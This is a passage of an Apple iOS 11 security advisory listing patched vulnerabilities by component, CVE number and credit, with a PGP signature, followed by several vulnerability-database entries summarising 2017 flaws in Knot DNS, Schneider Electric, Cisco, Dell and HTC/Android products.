CVE-2017-7140: an anonymous researcher
libarchive
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Unpacking a maliciously crafted archive may lead to arbitrary
code execution
Description: A buffer overflow issue was addressed through improved
memory handling.
CVE-2017-13813: found by OSS-Fuzz
CVE-2017-13816: found by OSS-Fuzz
Entry added October 31, 2017
libarchive
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Unpacking a maliciously crafted archive may lead to arbitrary
code execution
Description: Multiple memory corruption issues existed in libarchive.
These issues were addressed through improved input validation.
CVE-2017-13812: found by OSS-Fuzz
Entry added October 31, 2017
libc
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A remote attacker may be able to cause a denial-of-service
Description: A resource exhaustion issue in glob() was addressed
through an improved algorithm.
CVE-2017-7086: Russ Cox of Google
libc
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to cause a denial of service
Description: A memory consumption issue was addressed through
improved memory handling.
CVE-2017-1000373
libexpat
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Multiple issues in expat
Description: Multiple issues were addressed by updating to version
2.2.1
CVE-2016-9063
CVE-2017-9233
Location Framework
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to read sensitive location
information
Description: A permissions issue existed in the handling of the
location variable. This was addressed with additional ownership
checks.
CVE-2017-7148: an anonymous researcher, an anonymous researcher
Mail Drafts
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An attacker with a privileged network position may be able to
intercept mail contents
Description: An encryption issue existed in the handling of mail
drafts. This issue was addressed with improved handling of mail
drafts meant to be sent encrypted.
CVE-2017-7078: an anonymous researcher, an anonymous researcher, an
anonymous researcher
Mail MessageUI
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing a maliciously crafted image may lead to a denial
of service
Description: A memory corruption issue was addressed with improved
validation.
CVE-2017-7097: Xinshu Dong and Jun Hao Tan of Anquan Capital
Messages
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing a maliciously crafted image may lead to a denial
of service
Description: A denial of service issue was addressed through improved
validation.
CVE-2017-7118: Kiki Jiang and Jason Tokoph
MobileBackup
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Backup may perform an unencrypted backup despite a
requirement to perform only encrypted backups
Description: A permissions issue existed. This issue was addressed
with improved permission validation.
CVE-2017-7133: Don Sparks of HackediOS.com
Phone
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A screenshot of secure content may be taken when locking an
iOS device
Description: A timing issue existed in the handling of locking. This
issue was addressed by disabling screenshots while locking.
CVE-2017-7139: an anonymous researcher
Quick Look
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13822: Australian Cyber Security Centre a Australian Signals
Directorate
Entry added October 31, 2017
Quick Look
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Parsing a maliciously crafted office document may lead to an
unexpected application termination or arbitrary code execution
Description: A memory consumption issue was addressed through
improved memory handling.
CVE-2017-7132: Australian Cyber Security Centre a Australian Signals
Directorate
Entry added October 31, 2017
Safari
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Visiting a malicious website may lead to address bar spoofing
Description: An inconsistent user interface issue was addressed with
improved state management.
CVE-2017-7085: xisigr of Tencent's Xuanwu Lab (tencent.com)
Security
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A revoked certificate may be trusted
Description: A certificate validation issue existed in the handling
of revocation data. This issue was addressed through improved
validation.
CVE-2017-7080: an anonymous researcher, an anonymous researcher,
Sven Driemecker of adesso mobile solutions gmbh,
Rune Darrud (@theflyingcorpse) of BA|rum kommune
Security
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A malicious app may be able to track users between installs
Description: A permission checking issue existed in the handling of
an app's Keychain data. This issue was addressed with improved
permission checking.
CVE-2017-7146: an anonymous researcher
SQLite
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Multiple issues in SQLite
Description: Multiple issues were addressed by updating to
version 3.19.3.
CVE-2017-10989: found by OSS-Fuzz
CVE-2017-7128: found by OSS-Fuzz
CVE-2017-7129: found by OSS-Fuzz
CVE-2017-7130: found by OSS-Fuzz
SQLite
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-7127: an anonymous researcher
Time
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: "Setting Time Zone" may incorrectly indicate that it is using
location
Description: A permissions issue existed in the process that handles
time zone information. The issue was resolved by modifying
permissions.
CVE-2017-7145: an anonymous researcher
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2017-7081: Apple
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: Multiple memory corruption issues were addressed with
improved memory handling.
CVE-2017-7087: Apple
CVE-2017-7091: Wei Yuan of Baidu Security Lab working with Trend
Micro's Zero Day Initiative
CVE-2017-7092: Samuel Gro and Niklas Baumstark working with Trend
Micro's Zero Day Initiative, Qixun Zhao (@S0rryMybad) of Qihoo 360
Vulcan Team
CVE-2017-7093: Samuel Gro and Niklas Baumstark working with Trend
Micro's Zero Day Initiative
CVE-2017-7094: Tim Michaud (@TimGMichaud) of Leviathan Security Group
CVE-2017-7095: Wang Junjie, Wei Lei, and Liu Yang of Nanyang
Technological University working with Trend Micro's Zero Day
Initiative
CVE-2017-7096: Wei Yuan of Baidu Security Lab
CVE-2017-7098: Felipe Freitas of Instituto TecnolA3gico de AeronA!utica
CVE-2017-7099: Apple
CVE-2017-7100: Masato Kinugawa and Mario Heiderich of Cure53
CVE-2017-7102: Wang Junjie, Wei Lei, and Liu Yang of Nanyang
Technological University
CVE-2017-7104: likemeng of Baidu Secutity Lab
CVE-2017-7107: Wang Junjie, Wei Lei, and Liu Yang of Nanyang
Technological University
CVE-2017-7111: likemeng of Baidu Security Lab (xlab.baidu.com)
working with Trend Micro's Zero Day Initiative
CVE-2017-7117: lokihardt of Google Project Zero
CVE-2017-7120: chenqin (ee|) of Ant-financial Light-Year Security
Lab
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing maliciously crafted web content may lead to
universal cross site scripting
Description: A logic issue existed in the handling of the parent-tab.
This issue was addressed with improved state management.
CVE-2017-7089: Anton Lopanitsyn of ONSEC, Frans RosA(c)n of Detectify
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Cookies belonging to one origin may be sent to another origin
Description: A permissions issue existed in the handling of web
browser cookies. This issue was addressed by no longer returning
cookies for custom URL schemes.
CVE-2017-7090: Apple
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Visiting a malicious website may lead to address bar spoofing
Description: An inconsistent user interface issue was addressed with
improved state management.
CVE-2017-7106: Oliver Paukstadt of Thinking Objects GmbH (to.com)
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing maliciously crafted web content may lead to a
cross site scripting attack
Description: Application Cache policy may be unexpectedly applied.
CVE-2017-7109: avlidienbrunn
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A malicious website may be able to track users in Safari
private browsing mode
Description: A permissions issue existed in the handling of web
browser cookies. This issue was addressed with improved restrictions.
CVE-2017-7144: an anonymous researcher
Wi-Fi
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An attacker within range may be able to execute arbitrary
code on the Wi-Fi chip
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-11120: Gal Beniamini of Google Project Zero
CVE-2017-11121: Gal Beniamini of Google Project Zero
Wi-Fi
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Malicious code executing on the Wi-Fi chip may be able to
execute arbitrary code with kernel privileges on the application
processor
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-7103: Gal Beniamini of Google Project Zero
CVE-2017-7105: Gal Beniamini of Google Project Zero
CVE-2017-7108: Gal Beniamini of Google Project Zero
CVE-2017-7110: Gal Beniamini of Google Project Zero
CVE-2017-7112: Gal Beniamini of Google Project Zero
Wi-Fi
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Malicious code executing on the Wi-Fi chip may be able to
execute arbitrary code with kernel privileges on the application
processor
Description: Multiple race conditions were addressed through improved
validation.
CVE-2017-7115: Gal Beniamini of Google Project Zero
Wi-Fi
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Malicious code executing on the Wi-Fi chip may be able to
read restricted kernel memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-7116: Gal Beniamini of Google Project Zero
zlib
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Multiple issues in zlib
Description: Multiple issues were addressed by updating to version
1.2.11.
CVE-2016-9840
CVE-2016-9841
CVE-2016-9842
CVE-2016-9843
Installation note:
This update is available through iTunes and Software Update on your
iOS device, and will not appear in your computer's Software Update
application, or in the Apple Downloads site. Make sure you have an
Internet connection and have installed the latest version of iTunes
from https://www.apple.com/itunes/
iTunes and Software Update on the device will automatically check
Apple's update server on its weekly schedule. When an update is
detected, it is downloaded and the option to be installed is
presented to the user when the iOS device is docked. We recommend
applying the update immediately if possible. Selecting Don't Install
will present the option the next time you connect your iOS device.
The automatic update process may take up to a week depending on the
day that iTunes or the device checks for updates. You may manually
obtain the update via the Check for Updates button within iTunes, or
the Software Update on your device.
To check that the iPhone, iPod touch, or iPad has been updated:
* Navigate to Settings
* Select General
* Select About. The version after applying this update
will be "11".
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE-----
iQJdBAEBCgBHFiEEcuX4rtoRe4X62yWlg6PvjDRstEYFAln4u8QpHHByb2R1Y3Qt
c2VjdXJpdHktbm9yZXBseUBsaXN0cy5hcHBsZS5jb20ACgkQg6PvjDRstEb3gRAA
mkMtw5g6ZpDFNK4MpKwfTbwIK7rNjxEh2VGvv+1VNTJJRewGiXcbl/cf5EefPJFR
RpH+8u2jjl7rgEDwRPLYY4EixRTwvOVs46MS5lzkNKjwaIhBswH6ubFIkw2MRgn9
zBbAmixTDb2HVaG2vMtmDm1PmXMq7QMau4W+G0m40bwiNBAyrqcttiiJ1NxdZsBl
LouPNKhaOCLPuDeHG6oJmPRcZCyIvNpXJGE9UA/LMKL5yPbZQpqJvYBznof/SVXq
QxvLw1D60Ki+2L2ItXEVAaAfkKh50+cn34m7rhb4ZIv3/hE86BpoFRGaAhni+QGJ
ugJ2FYciTPnbLttpZlBYfj29BMqqkYQ1HJ+xEQf3krKiQmGKWcRV4858h2GZRGkW
wwd9l1Ym4vDTNK+0yVnN58XTyOjJh/dH8t+Bzp63OUFTLiab6/3kfccozlobbivF
pZWt6fFqbn/e6Re62Xj0VfxlST5TjGqxZq0qgNJiWG9s5z0To3YcDXhJSsTyjtIj
cLM13UTPFAPj+ReTaA0wczvjoq4J6EyVD2bDOHv/iKY+7xOO9+5vTYGD3nhKjdAo
GFBCbpCtBrrrlAd6TtW1D15QBJ+/e/5uJYd9r2BIR/w3l5I7IAnNHtYV9zu/wvuM
odr7Q4DNa5UQq0VMLbsd2avIoYX+xxKQg4WUv8BbkZI=
=NYhG
-----END PGP SIGNATURE-----
| VAR-201707-0593 | CVE-2017-11104 | Knot DNS of TSIG In the implementation of the protocol TSIG Vulnerability that bypasses authentication |
CVSS V2: 4.3 CVSS V3: 5.9 Severity: MEDIUM |
Knot DNS before 2.4.5 and 2.5.x before 2.5.2 contains a flaw within the TSIG protocol implementation that would allow an attacker with a valid key name and algorithm to bypass TSIG authentication if no additional ACL restrictions are set, because of an improper TSIG validity period check. Knot DNS is prone to a authentication-bypass vulnerability.
An attacker can exploit this issue to bypass authentication mechanism and perform unauthorized actions. This may lead to further attacks
| VAR-201707-1003 | CVE-2017-9629 | Schneider Electric Wonderware ArchestrA Logger Stack Buffer Overflow Vulnerability |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
A Stack-Based Buffer Overflow issue was discovered in Schneider Electric Wonderware ArchestrA Logger, versions 2017.426.2307.1 and prior. The stack-based buffer overflow vulnerability has been identified, which may allow a remote attacker to execute arbitrary code in the context of a highly privileged account. Schneider Electric Wonderware ArchestrA Logger is a logger for Schneider Electric in Schneider Electric, France. Schneider Wonderware ArchestrA Logger is prone to multiple security vulnerabilities. Failed exploit attempts will likely cause denial-of-service conditions
| VAR-201707-1004 | CVE-2017-9631 | Schneider Electric Wonderware ArchestrA Logger In NULL Pointer dereference vulnerability |
CVSS V2: 5.0 CVSS V3: 7.5 Severity: HIGH |
A Null Pointer Dereference issue was discovered in Schneider Electric Wonderware ArchestrA Logger, versions 2017.426.2307.1 and prior. The null pointer dereference vulnerability could allow an attacker to crash the logger process, causing a denial of service for logging and log-viewing (applications that use the Wonderware ArchestrA Logger continue to run when the Wonderware ArchestrA Logger service is unavailable). Schneider Electric Wonderware ArchestrA Logger is a logger for Schneider Electric in Schneider Electric, France. There are security vulnerabilities in Schneider Electric Wonderware ArchestrA Logger 2017.426.2307.1 and earlier.
Attackers can exploit these issues to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will likely cause denial-of-service conditions
| VAR-201707-1002 | CVE-2017-9627 | Schneider Electric Wonderware ArchestrA Logger Denial of service vulnerability |
CVSS V2: 5.0 CVSS V3: 8.6 Severity: HIGH |
An Uncontrolled Resource Consumption issue was discovered in Schneider Electric Wonderware ArchestrA Logger, versions 2017.426.2307.1 and prior. The uncontrolled resource consumption vulnerability could allow an attacker to exhaust the memory resources of the machine, causing a denial of service. Schneider Electric Wonderware ArchestrA Logger is a logger for Schneider Electric in Schneider Electric, France.
Attackers can exploit these issues to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will likely cause denial-of-service conditions
| VAR-201707-0906 | CVE-2017-6734 | Cisco Identity Services Engine Software Web -Based scripting interface cross-site scripting vulnerability |
CVSS V2: 3.5 CVSS V3: 5.4 Severity: MEDIUM |
A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) Software could allow an authenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the web interface of an affected device, related to the Guest Portal. More Information: CSCvd74794. Known Affected Releases: 1.3(0.909) 2.1(0.800).
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
This issue is being tracked by Cisco Bug ID CSCvd74794. The platform monitors the network by collecting real-time information on the network, users and devices, and formulating and implementing corresponding policies
| VAR-201707-0920 | CVE-2017-6709 | Cisco Ultra Services Framework for AutoVNF Vulnerability in accessing administrator credentials in tools |
CVSS V2: 5.0 CVSS V3: 9.8 Severity: CRITICAL |
A vulnerability in the AutoVNF tool for the Cisco Ultra Services Framework could allow an unauthenticated, remote attacker to access administrative credentials for Cisco Elastic Services Controller (ESC) and Cisco OpenStack deployments in an affected system. The vulnerability exists because the affected software logs administrative credentials in clear text for Cisco ESC and Cisco OpenStack deployment purposes. An attacker could exploit this vulnerability by accessing the AutoVNF URL for the location where the log files are stored and subsequently accessing the administrative credentials that are stored in clear text in those log files. This vulnerability affects all releases of the Cisco Ultra Services Framework prior to Releases 5.0.3 and 5.1. Cisco Bug IDs: CSCvc76659. AutoVNF tool is one of the virtualization network tools
| VAR-201708-0394 | CVE-2017-10949 | Dell Storage Manager Path traversal vulnerability |
CVSS V2: 5.0 CVSS V3: 7.5 Severity: HIGH |
Directory Traversal in Dell Storage Manager 2016 R2.1 causes Information Disclosure when the doGet method of the EmWebsiteServlet class doesn't properly validate user provided path before using it in file operations. Was ZDI-CAN-4459. This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations of Dell Storage Manager. Authentication is not required to exploit this vulnerability. The specific flaw exists within the doGet method of the EmWebsiteServlet class, which listens on TCP port 3033 by default. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose sensitive information under the context of SYSTEM. Storage Manager is prone to a directory-traversal vulnerability. This may aid in further attacks
| VAR-201707-0589 | CVE-2017-0709 | Android of HTC Vulnerability in information disclosure in sensor hub driver |
CVSS V2: 4.3 CVSS V3: 3.3 Severity: LOW |
A information disclosure vulnerability in the HTC sensor hub driver. Product: Android. Versions: Android kernel. Android ID: A-35468048. This vulnerability Android ID: A-35468048 It is published asInformation may be disclosed. Google Android is prone to multiple security vulnerabilities.
An attacker can leverage these issues to execute arbitrary code within the context of a privileged process, obtain sensitive information or gain elevated privileges.
These issues are being tracked by Android Bug IDs A-36088467, A-35384879 and A-35468048